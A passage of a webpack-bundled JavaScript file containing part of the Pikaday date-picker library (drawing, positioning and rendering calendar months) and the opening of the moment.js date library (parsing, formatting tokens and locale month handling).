value.getFullYear(); this._o.minMonth = value.getMonth(); } else { this._o.minDate = defaults.minDate; this._o.minYear = defaults.minYear; this._o.minMonth = defaults.minMonth; this._o.startRange = defaults.startRange; } this.draw(); }, /** * change the maxDate */ setMaxDate: function(value) { if(value instanceof Date) { setToStartOfDay(value); this._o.maxDate = value; this._o.maxYear = value.getFullYear(); this._o.maxMonth = value.getMonth(); } else { this._o.maxDate = defaults.maxDate; this._o.maxYear = defaults.maxYear; this._o.maxMonth = defaults.maxMonth; this._o.endRange = defaults.endRange; } this.draw(); }, setStartRange: function(value) { this._o.startRange = value; }, setEndRange: function(value) { this._o.endRange = value; }, /** * refresh the HTML */ draw: function(force) { if (!this._v && !force) { return; } var opts = this._o, minYear = opts.minYear, maxYear = opts.maxYear, minMonth = opts.minMonth, maxMonth = opts.maxMonth, html = '', randId; if (this._y <= minYear) { this._y = minYear; if (!isNaN(minMonth) && this._m < minMonth) { this._m = minMonth; } } if (this._y >= maxYear) { this._y = maxYear; if (!isNaN(maxMonth) && this._m > maxMonth) { this._m = maxMonth; } } randId = 'pika-title-' + Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 2); for (var c = 0; c < opts.numberOfMonths; c++) { html += '
          ' + renderTitle(this, c, this.calendars[c].year, this.calendars[c].month, this.calendars[0].year, randId) + this.render(this.calendars[c].year, this.calendars[c].month, randId) + '
          '; } this.el.innerHTML = html; if (opts.bound) { if(opts.field.type !== 'hidden') { sto(function() { opts.trigger.focus(); }, 1); } } if (typeof this._o.onDraw === 'function') { this._o.onDraw(this); } if (opts.bound) { // let the screen reader user know to use arrow keys opts.field.setAttribute('aria-label', 'Use the arrow keys to pick a date'); } }, adjustPosition: function() { var field, pEl, width, height, viewportWidth, viewportHeight, scrollTop, left, top, clientRect; if (this._o.container) return; this.el.style.position = 'absolute'; field = this._o.trigger; pEl = field; width = this.el.offsetWidth; height = this.el.offsetHeight; viewportWidth = window.innerWidth || document.documentElement.clientWidth; viewportHeight = window.innerHeight || document.documentElement.clientHeight; scrollTop = window.pageYOffset || document.body.scrollTop || document.documentElement.scrollTop; if (typeof field.getBoundingClientRect === 'function') { clientRect = field.getBoundingClientRect(); left = clientRect.left + window.pageXOffset; top = clientRect.bottom + window.pageYOffset; } else { left = pEl.offsetLeft; top = pEl.offsetTop + pEl.offsetHeight; while((pEl = pEl.offsetParent)) { left += pEl.offsetLeft; top += pEl.offsetTop; } } // default position is bottom & left if ((this._o.reposition && left + width > viewportWidth) || ( this._o.position.indexOf('right') > -1 && left - width + field.offsetWidth > 0 ) ) { left = left - width + field.offsetWidth; } if ((this._o.reposition && top + height > viewportHeight + scrollTop) || ( this._o.position.indexOf('top') > -1 && top - height - field.offsetHeight > 0 ) ) { top = top - height - field.offsetHeight; } this.el.style.left = left + 'px'; this.el.style.top = top + 'px'; }, /** * render HTML for a particular month */ render: function(year, month, randId) { var opts = this._o, now = new Date(), days = getDaysInMonth(year, month), before = new Date(year, month, 1).getDay(), data = [], row = []; setToStartOfDay(now); if (opts.firstDay > 0) { before -= opts.firstDay; if (before < 0) { before += 7; } } var previousMonth = month === 0 ? 11 : month - 1, nextMonth = month === 11 ? 0 : month + 1, yearOfPreviousMonth = month === 0 ? year - 1 : year, yearOfNextMonth = month === 11 ? year + 1 : year, daysInPreviousMonth = getDaysInMonth(yearOfPreviousMonth, previousMonth); var cells = days + before, after = cells; while(after > 7) { after -= 7; } cells += 7 - after; for (var i = 0, r = 0; i < cells; i++) { var day = new Date(year, month, 1 + (i - before)), isSelected = isDate(this._d) ? compareDates(day, this._d) : false, isToday = compareDates(day, now), isEmpty = i < before || i >= (days + before), dayNumber = 1 + (i - before), monthNumber = month, yearNumber = year, isStartRange = opts.startRange && compareDates(opts.startRange, day), isEndRange = opts.endRange && compareDates(opts.endRange, day), isInRange = opts.startRange && opts.endRange && opts.startRange < day && day < opts.endRange, isDisabled = (opts.minDate && day < opts.minDate) || (opts.maxDate && day > opts.maxDate) || (opts.disableWeekends && isWeekend(day)) || (opts.disableDayFn && opts.disableDayFn(day)); if (isEmpty) { if (i < before) { dayNumber = daysInPreviousMonth + dayNumber; monthNumber = previousMonth; yearNumber = yearOfPreviousMonth; } else { dayNumber = dayNumber - days; monthNumber = nextMonth; yearNumber = yearOfNextMonth; } } var dayConfig = { day: dayNumber, month: monthNumber, year: yearNumber, isSelected: isSelected, isToday: isToday, isDisabled: isDisabled, isEmpty: isEmpty, isStartRange: isStartRange, isEndRange: isEndRange, isInRange: isInRange, showDaysInNextAndPreviousMonths: opts.showDaysInNextAndPreviousMonths }; row.push(renderDay(dayConfig)); if (++r === 7) { if (opts.showWeekNumber) { row.unshift(renderWeek(i - before, month, year)); } data.push(renderRow(row, opts.isRTL)); row = []; r = 0; } } return renderTable(opts, data, randId); }, isVisible: function() { return this._v; }, show: function() { if (!this.isVisible()) { removeClass(this.el, 'is-hidden'); this._v = true; this.draw(); if (this._o.bound) { addEvent(document, 'click', this._onClick); this.adjustPosition(); } if (typeof this._o.onOpen === 'function') { this._o.onOpen.call(this); } } }, hide: function() { var v = this._v; if (v !== false) { if (this._o.bound) { removeEvent(document, 'click', this._onClick); } this.el.style.position = 'static'; // reset this.el.style.left = 'auto'; this.el.style.top = 'auto'; addClass(this.el, 'is-hidden'); this._v = false; if (v !== undefined && typeof this._o.onClose === 'function') { this._o.onClose.call(this); } } }, /** * GAME OVER */ destroy: function() { this.hide(); removeEvent(this.el, 'mousedown', this._onMouseDown, true); removeEvent(this.el, 'touchend', this._onMouseDown, true); removeEvent(this.el, 'change', this._onChange); if (this._o.field) { removeEvent(this._o.field, 'change', this._onInputChange); if (this._o.bound) { removeEvent(this._o.trigger, 'click', this._onInputClick); removeEvent(this._o.trigger, 'focus', this._onInputFocus); removeEvent(this._o.trigger, 'blur', this._onInputBlur); } } if (this.el.parentNode) { this.el.parentNode.removeChild(this.el); } } }; return Pikaday; })); /***/ }), /* 617 */ /***/ (function(module, exports, __webpack_require__) { /* WEBPACK VAR INJECTION */(function(module) {var require;//! moment.js ;(function (global, factory) { true ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : global.moment = factory() }(this, (function () { 'use strict'; var hookCallback; function hooks () { return hookCallback.apply(null, arguments); } // This is done to register the method called with moment() // without creating circular dependencies. function setHookCallback (callback) { hookCallback = callback; } function isArray(input) { return input instanceof Array || Object.prototype.toString.call(input) === '[object Array]'; } function isObject(input) { // IE8 will treat undefined and null as object if it wasn't for // input != null return input != null && Object.prototype.toString.call(input) === '[object Object]'; } function isObjectEmpty(obj) { if (Object.getOwnPropertyNames) { return (Object.getOwnPropertyNames(obj).length === 0); } else { var k; for (k in obj) { if (obj.hasOwnProperty(k)) { return false; } } return true; } } function isUndefined(input) { return input === void 0; } function isNumber(input) { return typeof input === 'number' || Object.prototype.toString.call(input) === '[object Number]'; } function isDate(input) { return input instanceof Date || Object.prototype.toString.call(input) === '[object Date]'; } function map(arr, fn) { var res = [], i; for (i = 0; i < arr.length; ++i) { res.push(fn(arr[i], i)); } return res; } function hasOwnProp(a, b) { return Object.prototype.hasOwnProperty.call(a, b); } function extend(a, b) { for (var i in b) { if (hasOwnProp(b, i)) { a[i] = b[i]; } } if (hasOwnProp(b, 'toString')) { a.toString = b.toString; } if (hasOwnProp(b, 'valueOf')) { a.valueOf = b.valueOf; } return a; } function createUTC (input, format, locale, strict) { return createLocalOrUTC(input, format, locale, strict, true).utc(); } function defaultParsingFlags() { // We need to deep clone this object. return { empty : false, unusedTokens : [], unusedInput : [], overflow : -2, charsLeftOver : 0, nullInput : false, invalidMonth : null, invalidFormat : false, userInvalidated : false, iso : false, parsedDateParts : [], meridiem : null, rfc2822 : false, weekdayMismatch : false }; } function getParsingFlags(m) { if (m._pf == null) { m._pf = defaultParsingFlags(); } return m._pf; } var some; if (Array.prototype.some) { some = Array.prototype.some; } else { some = function (fun) { var t = Object(this); var len = t.length >>> 0; for (var i = 0; i < len; i++) { if (i in t && fun.call(this, t[i], i, t)) { return true; } } return false; }; } function isValid(m) { if (m._isValid == null) { var flags = getParsingFlags(m); var parsedParts = some.call(flags.parsedDateParts, function (i) { return i != null; }); var isNowValid = !isNaN(m._d.getTime()) && flags.overflow < 0 && !flags.empty && !flags.invalidMonth && !flags.invalidWeekday && !flags.weekdayMismatch && !flags.nullInput && !flags.invalidFormat && !flags.userInvalidated && (!flags.meridiem || (flags.meridiem && parsedParts)); if (m._strict) { isNowValid = isNowValid && flags.charsLeftOver === 0 && flags.unusedTokens.length === 0 && flags.bigHour === undefined; } if (Object.isFrozen == null || !Object.isFrozen(m)) { m._isValid = isNowValid; } else { return isNowValid; } } return m._isValid; } function createInvalid (flags) { var m = createUTC(NaN); if (flags != null) { extend(getParsingFlags(m), flags); } else { getParsingFlags(m).userInvalidated = true; } return m; } // Plugins that add properties should also add the key here (null value), // so we can properly clone ourselves. var momentProperties = hooks.momentProperties = []; function copyConfig(to, from) { var i, prop, val; if (!isUndefined(from._isAMomentObject)) { to._isAMomentObject = from._isAMomentObject; } if (!isUndefined(from._i)) { to._i = from._i; } if (!isUndefined(from._f)) { to._f = from._f; } if (!isUndefined(from._l)) { to._l = from._l; } if (!isUndefined(from._strict)) { to._strict = from._strict; } if (!isUndefined(from._tzm)) { to._tzm = from._tzm; } if (!isUndefined(from._isUTC)) { to._isUTC = from._isUTC; } if (!isUndefined(from._offset)) { to._offset = from._offset; } if (!isUndefined(from._pf)) { to._pf = getParsingFlags(from); } if (!isUndefined(from._locale)) { to._locale = from._locale; } if (momentProperties.length > 0) { for (i = 0; i < momentProperties.length; i++) { prop = momentProperties[i]; val = from[prop]; if (!isUndefined(val)) { to[prop] = val; } } } return to; } var updateInProgress = false; // Moment prototype object function Moment(config) { copyConfig(this, config); this._d = new Date(config._d != null ? config._d.getTime() : NaN); if (!this.isValid()) { this._d = new Date(NaN); } // Prevent infinite loop in case updateOffset creates new moment // objects. if (updateInProgress === false) { updateInProgress = true; hooks.updateOffset(this); updateInProgress = false; } } function isMoment (obj) { return obj instanceof Moment || (obj != null && obj._isAMomentObject != null); } function absFloor (number) { if (number < 0) { // -0 -> 0 return Math.ceil(number) || 0; } else { return Math.floor(number); } } function toInt(argumentForCoercion) { var coercedNumber = +argumentForCoercion, value = 0; if (coercedNumber !== 0 && isFinite(coercedNumber)) { value = absFloor(coercedNumber); } return value; } // compare two arrays, return the number of differences function compareArrays(array1, array2, dontConvert) { var len = Math.min(array1.length, array2.length), lengthDiff = Math.abs(array1.length - array2.length), diffs = 0, i; for (i = 0; i < len; i++) { if ((dontConvert && array1[i] !== array2[i]) || (!dontConvert && toInt(array1[i]) !== toInt(array2[i]))) { diffs++; } } return diffs + lengthDiff; } function warn(msg) { if (hooks.suppressDeprecationWarnings === false && (typeof console !== 'undefined') && console.warn) { console.warn('Deprecation warning: ' + msg); } } function deprecate(msg, fn) { var firstTime = true; return extend(function () { if (hooks.deprecationHandler != null) { hooks.deprecationHandler(null, msg); } if (firstTime) { var args = []; var arg; for (var i = 0; i < arguments.length; i++) { arg = ''; if (typeof arguments[i] === 'object') { arg += '\n[' + i + '] '; for (var key in arguments[0]) { arg += key + ': ' + arguments[0][key] + ', '; } arg = arg.slice(0, -2); // Remove trailing comma and space } else { arg = arguments[i]; } args.push(arg); } warn(msg + '\nArguments: ' + Array.prototype.slice.call(args).join('') + '\n' + (new Error()).stack); firstTime = false; } return fn.apply(this, arguments); }, fn); } var deprecations = {}; function deprecateSimple(name, msg) { if (hooks.deprecationHandler != null) { hooks.deprecationHandler(name, msg); } if (!deprecations[name]) { warn(msg); deprecations[name] = true; } } hooks.suppressDeprecationWarnings = false; hooks.deprecationHandler = null; function isFunction(input) { return input instanceof Function || Object.prototype.toString.call(input) === '[object Function]'; } function set (config) { var prop, i; for (i in config) { prop = config[i]; if (isFunction(prop)) { this[i] = prop; } else { this['_' + i] = prop; } } this._config = config; // Lenient ordinal parsing accepts just a number in addition to // number + (possibly) stuff coming from _dayOfMonthOrdinalParse. // TODO: Remove "ordinalParse" fallback in next major release. this._dayOfMonthOrdinalParseLenient = new RegExp( (this._dayOfMonthOrdinalParse.source || this._ordinalParse.source) + '|' + (/\d{1,2}/).source); } function mergeConfigs(parentConfig, childConfig) { var res = extend({}, parentConfig), prop; for (prop in childConfig) { if (hasOwnProp(childConfig, prop)) { if (isObject(parentConfig[prop]) && isObject(childConfig[prop])) { res[prop] = {}; extend(res[prop], parentConfig[prop]); extend(res[prop], childConfig[prop]); } else if (childConfig[prop] != null) { res[prop] = childConfig[prop]; } else { delete res[prop]; } } } for (prop in parentConfig) { if (hasOwnProp(parentConfig, prop) && !hasOwnProp(childConfig, prop) && isObject(parentConfig[prop])) { // make sure changes to properties don't modify parent config res[prop] = extend({}, res[prop]); } } return res; } function Locale(config) { if (config != null) { this.set(config); } } var keys; if (Object.keys) { keys = Object.keys; } else { keys = function (obj) { var i, res = []; for (i in obj) { if (hasOwnProp(obj, i)) { res.push(i); } } return res; }; } var defaultCalendar = { sameDay : '[Today at] LT', nextDay : '[Tomorrow at] LT', nextWeek : 'dddd [at] LT', lastDay : '[Yesterday at] LT', lastWeek : '[Last] dddd [at] LT', sameElse : 'L' }; function calendar (key, mom, now) { var output = this._calendar[key] || this._calendar['sameElse']; return isFunction(output) ? output.call(mom, now) : output; } var defaultLongDateFormat = { LTS : 'h:mm:ss A', LT : 'h:mm A', L : 'MM/DD/YYYY', LL : 'MMMM D, YYYY', LLL : 'MMMM D, YYYY h:mm A', LLLL : 'dddd, MMMM D, YYYY h:mm A' }; function longDateFormat (key) { var format = this._longDateFormat[key], formatUpper = this._longDateFormat[key.toUpperCase()]; if (format || !formatUpper) { return format; } this._longDateFormat[key] = formatUpper.replace(/MMMM|MM|DD|dddd/g, function (val) { return val.slice(1); }); return this._longDateFormat[key]; } var defaultInvalidDate = 'Invalid date'; function invalidDate () { return this._invalidDate; } var defaultOrdinal = '%d'; var defaultDayOfMonthOrdinalParse = /\d{1,2}/; function ordinal (number) { return this._ordinal.replace('%d', number); } var defaultRelativeTime = { future : 'in %s', past : '%s ago', s : 'a few seconds', ss : '%d seconds', m : 'a minute', mm : '%d minutes', h : 'an hour', hh : '%d hours', d : 'a day', dd : '%d days', M : 'a month', MM : '%d months', y : 'a year', yy : '%d years' }; function relativeTime (number, withoutSuffix, string, isFuture) { var output = this._relativeTime[string]; return (isFunction(output)) ? output(number, withoutSuffix, string, isFuture) : output.replace(/%d/i, number); } function pastFuture (diff, output) { var format = this._relativeTime[diff > 0 ? 'future' : 'past']; return isFunction(format) ? format(output) : format.replace(/%s/i, output); } var aliases = {}; function addUnitAlias (unit, shorthand) { var lowerCase = unit.toLowerCase(); aliases[lowerCase] = aliases[lowerCase + 's'] = aliases[shorthand] = unit; } function normalizeUnits(units) { return typeof units === 'string' ? aliases[units] || aliases[units.toLowerCase()] : undefined; } function normalizeObjectUnits(inputObject) { var normalizedInput = {}, normalizedProp, prop; for (prop in inputObject) { if (hasOwnProp(inputObject, prop)) { normalizedProp = normalizeUnits(prop); if (normalizedProp) { normalizedInput[normalizedProp] = inputObject[prop]; } } } return normalizedInput; } var priorities = {}; function addUnitPriority(unit, priority) { priorities[unit] = priority; } function getPrioritizedUnits(unitsObj) { var units = []; for (var u in unitsObj) { units.push({unit: u, priority: priorities[u]}); } units.sort(function (a, b) { return a.priority - b.priority; }); return units; } function zeroFill(number, targetLength, forceSign) { var absNumber = '' + Math.abs(number), zerosToFill = targetLength - absNumber.length, sign = number >= 0; return (sign ? (forceSign ? '+' : '') : '-') + Math.pow(10, Math.max(0, zerosToFill)).toString().substr(1) + absNumber; } var formattingTokens = /(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|YYYYYY|YYYYY|YYYY|YY|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g; var localFormattingTokens = /(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g; var formatFunctions = {}; var formatTokenFunctions = {}; // token: 'M' // padded: ['MM', 2] // ordinal: 'Mo' // callback: function () { this.month() + 1 } function addFormatToken (token, padded, ordinal, callback) { var func = callback; if (typeof callback === 'string') { func = function () { return this[callback](); }; } if (token) { formatTokenFunctions[token] = func; } if (padded) { formatTokenFunctions[padded[0]] = function () { return zeroFill(func.apply(this, arguments), padded[1], padded[2]); }; } if (ordinal) { formatTokenFunctions[ordinal] = function () { return this.localeData().ordinal(func.apply(this, arguments), token); }; } } function removeFormattingTokens(input) { if (input.match(/\[[\s\S]/)) { return input.replace(/^\[|\]$/g, ''); } return input.replace(/\\/g, ''); } function makeFormatFunction(format) { var array = format.match(formattingTokens), i, length; for (i = 0, length = array.length; i < length; i++) { if (formatTokenFunctions[array[i]]) { array[i] = formatTokenFunctions[array[i]]; } else { array[i] = removeFormattingTokens(array[i]); } } return function (mom) { var output = '', i; for (i = 0; i < length; i++) { output += isFunction(array[i]) ? array[i].call(mom, format) : array[i]; } return output; }; } // format date using native date object function formatMoment(m, format) { if (!m.isValid()) { return m.localeData().invalidDate(); } format = expandFormat(format, m.localeData()); formatFunctions[format] = formatFunctions[format] || makeFormatFunction(format); return formatFunctions[format](m); } function expandFormat(format, locale) { var i = 5; function replaceLongDateFormatTokens(input) { return locale.longDateFormat(input) || input; } localFormattingTokens.lastIndex = 0; while (i >= 0 && localFormattingTokens.test(format)) { format = format.replace(localFormattingTokens, replaceLongDateFormatTokens); localFormattingTokens.lastIndex = 0; i -= 1; } return format; } var match1 = /\d/; // 0 - 9 var match2 = /\d\d/; // 00 - 99 var match3 = /\d{3}/; // 000 - 999 var match4 = /\d{4}/; // 0000 - 9999 var match6 = /[+-]?\d{6}/; // -999999 - 999999 var match1to2 = /\d\d?/; // 0 - 99 var match3to4 = /\d\d\d\d?/; // 999 - 9999 var match5to6 = /\d\d\d\d\d\d?/; // 99999 - 999999 var match1to3 = /\d{1,3}/; // 0 - 999 var match1to4 = /\d{1,4}/; // 0 - 9999 var match1to6 = /[+-]?\d{1,6}/; // -999999 - 999999 var matchUnsigned = /\d+/; // 0 - inf var matchSigned = /[+-]?\d+/; // -inf - inf var matchOffset = /Z|[+-]\d\d:?\d\d/gi; // +00:00 -00:00 +0000 -0000 or Z var matchShortOffset = /Z|[+-]\d\d(?::?\d\d)?/gi; // +00 -00 +00:00 -00:00 +0000 -0000 or Z var matchTimestamp = /[+-]?\d+(\.\d{1,3})?/; // 123456789 123456789.123 // any word (or two) characters or numbers including two/three word month in arabic. // includes scottish gaelic two word and hyphenated months var matchWord = /[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i; var regexes = {}; function addRegexToken (token, regex, strictRegex) { regexes[token] = isFunction(regex) ? regex : function (isStrict, localeData) { return (isStrict && strictRegex) ? strictRegex : regex; }; } function getParseRegexForToken (token, config) { if (!hasOwnProp(regexes, token)) { return new RegExp(unescapeFormat(token)); } return regexes[token](config._strict, config._locale); } // Code from http://stackoverflow.com/questions/3561493/is-there-a-regexp-escape-function-in-javascript function unescapeFormat(s) { return regexEscape(s.replace('\\', '').replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g, function (matched, p1, p2, p3, p4) { return p1 || p2 || p3 || p4; })); } function regexEscape(s) { return s.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&'); } var tokens = {}; function addParseToken (token, callback) { var i, func = callback; if (typeof token === 'string') { token = [token]; } if (isNumber(callback)) { func = function (input, array) { array[callback] = toInt(input); }; } for (i = 0; i < token.length; i++) { tokens[token[i]] = func; } } function addWeekParseToken (token, callback) { addParseToken(token, function (input, array, config, token) { config._w = config._w || {}; callback(input, config._w, config, token); }); } function addTimeToArrayFromToken(token, input, config) { if (input != null && hasOwnProp(tokens, token)) { tokens[token](input, config._a, config, token); } } var YEAR = 0; var MONTH = 1; var DATE = 2; var HOUR = 3; var MINUTE = 4; var SECOND = 5; var MILLISECOND = 6; var WEEK = 7; var WEEKDAY = 8; // FORMATTING addFormatToken('Y', 0, 0, function () { var y = this.year(); return y <= 9999 ? '' + y : '+' + y; }); addFormatToken(0, ['YY', 2], 0, function () { return this.year() % 100; }); addFormatToken(0, ['YYYY', 4], 0, 'year'); addFormatToken(0, ['YYYYY', 5], 0, 'year'); addFormatToken(0, ['YYYYYY', 6, true], 0, 'year'); // ALIASES addUnitAlias('year', 'y'); // PRIORITIES addUnitPriority('year', 1); // PARSING addRegexToken('Y', matchSigned); addRegexToken('YY', match1to2, match2); addRegexToken('YYYY', match1to4, match4); addRegexToken('YYYYY', match1to6, match6); addRegexToken('YYYYYY', match1to6, match6); addParseToken(['YYYYY', 'YYYYYY'], YEAR); addParseToken('YYYY', function (input, array) { array[YEAR] = input.length === 2 ? hooks.parseTwoDigitYear(input) : toInt(input); }); addParseToken('YY', function (input, array) { array[YEAR] = hooks.parseTwoDigitYear(input); }); addParseToken('Y', function (input, array) { array[YEAR] = parseInt(input, 10); }); // HELPERS function daysInYear(year) { return isLeapYear(year) ? 366 : 365; } function isLeapYear(year) { return (year % 4 === 0 && year % 100 !== 0) || year % 400 === 0; } // HOOKS hooks.parseTwoDigitYear = function (input) { return toInt(input) + (toInt(input) > 68 ? 1900 : 2000); }; // MOMENTS var getSetYear = makeGetSet('FullYear', true); function getIsLeapYear () { return isLeapYear(this.year()); } function makeGetSet (unit, keepTime) { return function (value) { if (value != null) { set$1(this, unit, value); hooks.updateOffset(this, keepTime); return this; } else { return get(this, unit); } }; } function get (mom, unit) { return mom.isValid() ? mom._d['get' + (mom._isUTC ? 'UTC' : '') + unit]() : NaN; } function set$1 (mom, unit, value) { if (mom.isValid() && !isNaN(value)) { if (unit === 'FullYear' && isLeapYear(mom.year()) && mom.month() === 1 && mom.date() === 29) { mom._d['set' + (mom._isUTC ? 'UTC' : '') + unit](value, mom.month(), daysInMonth(value, mom.month())); } else { mom._d['set' + (mom._isUTC ? 'UTC' : '') + unit](value); } } } // MOMENTS function stringGet (units) { units = normalizeUnits(units); if (isFunction(this[units])) { return this[units](); } return this; } function stringSet (units, value) { if (typeof units === 'object') { units = normalizeObjectUnits(units); var prioritized = getPrioritizedUnits(units); for (var i = 0; i < prioritized.length; i++) { this[prioritized[i].unit](units[prioritized[i].unit]); } } else { units = normalizeUnits(units); if (isFunction(this[units])) { return this[units](value); } } return this; } function mod(n, x) { return ((n % x) + x) % x; } var indexOf; if (Array.prototype.indexOf) { indexOf = Array.prototype.indexOf; } else { indexOf = function (o) { // I know var i; for (i = 0; i < this.length; ++i) { if (this[i] === o) { return i; } } return -1; }; } function daysInMonth(year, month) { if (isNaN(year) || isNaN(month)) { return NaN; } var modMonth = mod(month, 12); year += (month - modMonth) / 12; return modMonth === 1 ? (isLeapYear(year) ? 29 : 28) : (31 - modMonth % 7 % 2); } // FORMATTING addFormatToken('M', ['MM', 2], 'Mo', function () { return this.month() + 1; }); addFormatToken('MMM', 0, 0, function (format) { return this.localeData().monthsShort(this, format); }); addFormatToken('MMMM', 0, 0, function (format) { return this.localeData().months(this, format); }); // ALIASES addUnitAlias('month', 'M'); // PRIORITY addUnitPriority('month', 8); // PARSING addRegexToken('M', match1to2); addRegexToken('MM', match1to2, match2); addRegexToken('MMM', function (isStrict, locale) { return locale.monthsShortRegex(isStrict); }); addRegexToken('MMMM', function (isStrict, locale) { return locale.monthsRegex(isStrict); }); addParseToken(['M', 'MM'], function (input, array) { array[MONTH] = toInt(input) - 1; }); addParseToken(['MMM', 'MMMM'], function (input, array, config, token) { var month = config._locale.monthsParse(input, token, config._strict); // if we didn't find a month name, mark the date as invalid. if (month != null) { array[MONTH] = month; } else { getParsingFlags(config).invalidMonth = input; } }); // LOCALES var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/; var defaultLocaleMonths = 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_'); function localeMonths (m, format) { if (!m) { return isArray(this._months) ? this._months : this._months['standalone']; } return isArray(this._months) ? this._months[m.month()] : this._months[(this._months.isFormat || MONTHS_IN_FORMAT).test(format) ? 'format' : 'standalone'][m.month()]; } var defaultLocaleMonthsShort = 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'); function localeMonthsShort (m, format) { if (!m) { return isArray(this._monthsShort) ? this._monthsShort : this._monthsShort['standalone']; } return isArray(this._monthsShort) ? this._monthsShort[m.month()] : this._monthsShort[MONTHS_IN_FORMAT.test(format) ? 'format' : 'standalone'][m.month()]; } function handleStrictParse(monthName, format, strict) { var i, ii, mom, llc = monthName.toLocaleLowerCase(); if (!this._monthsParse) { // this is not used this._monthsParse = []; this._longMonthsParse = []; this._shortMonthsParse = []; for (i = 0; i < 12; ++i) { mom = createUTC([2000, i]); this._shortMonthsParse[i] = this.monthsShort(mom, '').toLocaleLowerCase(); this._longMonthsParse[i] = this.months(mom, '').toLocaleLowerCase(); } } if (strict) { if (format === 'MMM') { ii = indexOf.call(this._shortMonthsParse, llc); return ii !== -1 ? ii : null; } else { ii = indexOf.call(this._longMonthsParse, llc); return ii !== -1 ? ii : null; } } else { if (format === 'MMM') { ii = indexOf.call(this._shortMonthsParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._longMonthsParse, llc); return ii !== -1 ? ii : null; } else { ii = indexOf.call(this._longMonthsParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._shortMonthsParse, llc); return ii !== -1 ? ii : null; } } } function localeMonthsParse (monthName, format, strict) { var i, mom, regex; if (this._monthsParseExact) { return handleStrictParse.call(this, monthName, format, strict); } if (!this._monthsParse) { this._monthsParse = []; this._longMonthsParse = []; this._shortMonthsParse = []; } // TODO: add sorting // Sorting makes sure if one month (or abbr) is a prefix of another // see sorting in computeMonthsParse for (i = 0; i < 12; i++) { // make the regex if we don't have it already mom = createUTC([2000, i]); if (strict && !this._longMonthsParse[i]) { this._longMonthsParse[i] = new RegExp('^' + this.months(mom, '').replace('.', '') + '$', 'i'); this._shortMonthsParse[i] = new RegExp('^' + this.monthsShort(mom, '').replace('.', '') + '$', 'i'); } if (!strict && !this._monthsParse[i]) { regex = '^' + this.months(mom, '') + '|^' + this.monthsShort(mom, ''); this._monthsParse[i] = new RegExp(regex.replace('.', ''), 'i'); } // test the regex if (strict && format === 'MMMM' && this._longMonthsParse[i].test(monthName)) { return i; } else if (strict && format === 'MMM' && this._shortMonthsParse[i].test(monthName)) { return i; } else if (!strict && this._monthsParse[i].test(monthName)) { return i; } } } // MOMENTS function setMonth (mom, value) { var dayOfMonth; if (!mom.isValid()) { // No op return mom; } if (typeof value === 'string') { if (/^\d+$/.test(value)) { value = toInt(value); } else { value = mom.localeData().monthsParse(value); // TODO: Another silent failure? if (!isNumber(value)) { return mom; } } } dayOfMonth = Math.min(mom.date(), daysInMonth(mom.year(), value)); mom._d['set' + (mom._isUTC ? 'UTC' : '') + 'Month'](value, dayOfMonth); return mom; } function getSetMonth (value) { if (value != null) { setMonth(this, value); hooks.updateOffset(this, true); return this; } else { return get(this, 'Month'); } } function getDaysInMonth () { return daysInMonth(this.year(), this.month()); } var defaultMonthsShortRegex = matchWord; function monthsShortRegex (isStrict) { if (this._monthsParseExact) { if (!hasOwnProp(this, '_monthsRegex')) { computeMonthsParse.call(this); } if (isStrict) { return this._monthsShortStrictRegex; } else { return this._monthsShortRegex; } } else { if (!hasOwnProp(this, '_monthsShortRegex')) { this._monthsShortRegex = defaultMonthsShortRegex; } return this._monthsShortStrictRegex && isStrict ? this._monthsShortStrictRegex : this._monthsShortRegex; } } var defaultMonthsRegex = matchWord; function monthsRegex (isStrict) { if (this._monthsParseExact) { if (!hasOwnProp(this, '_monthsRegex')) { computeMonthsParse.call(this); } if (isStrict) { return this._monthsStrictRegex; } else { return this._monthsRegex; } } else { if (!hasOwnProp(this, '_monthsRegex')) { this._monthsRegex = defaultMonthsRegex; } return this._monthsStrictRegex && isStrict ? this._monthsStrictRegex : this._monthsRegex; } } function computeMonthsParse () { function cmpLenRev(a, b) { return b.length - a.length; } var shortPieces = [], longPieces = [], mixedPieces = [], i, mom; for (i = 0; i < 12; i++) { // make the regex if we don't have it already mom = createUTC([2000, i]); shortPieces.push(this.monthsShort(mom, '')); longPieces.push(this.months(mom, '')); mixedPieces.push(this.months(mom, '')); mixedPieces.push(this.monthsShort(mom, '')); } // Sorting makes sure if one month (or abbr) is a prefix of another it // will match the longer piece. shortPieces.sort(cmpLenRev); longPieces.sort(cmpLenRev); mixedPieces.sort(cmpLenRev); for (i = 0; i < 12; i++) { shortPieces[i] = regexEscape(shortPieces[i]); longPieces[i] = regexEscape(longPieces[i]); } for (i = 0; i < 24; i++) { mixedPieces[i] = regexEscape(mixedPieces[i]); } this._monthsRegex = new RegExp('^(' + mixedPieces.join('|') + ')', 'i'); this._monthsShortRegex = this._monthsRegex; this._monthsStrictRegex = new RegExp('^(' + longPieces.join('|') + ')', 'i'); this._monthsShortStrictRegex = new RegExp('^(' + shortPieces.join('|') + ')', 'i'); } function createDate (y, m, d, h, M, s, ms) { // can't just apply() to create a date: // https://stackoverflow.com/q/181348 var date = new Date(y, m, d, h, M, s, ms); // the date constructor remaps years 0-99 to 1900-1999 if (y < 100 && y >= 0 && isFinite(date.getFullYear())) { date.setFullYear(y); } return date; } function createUTCDate (y) { var date = new Date(Date.UTC.apply(null, arguments)); // the Date.UTC function remaps years 0-99 to 1900-1999 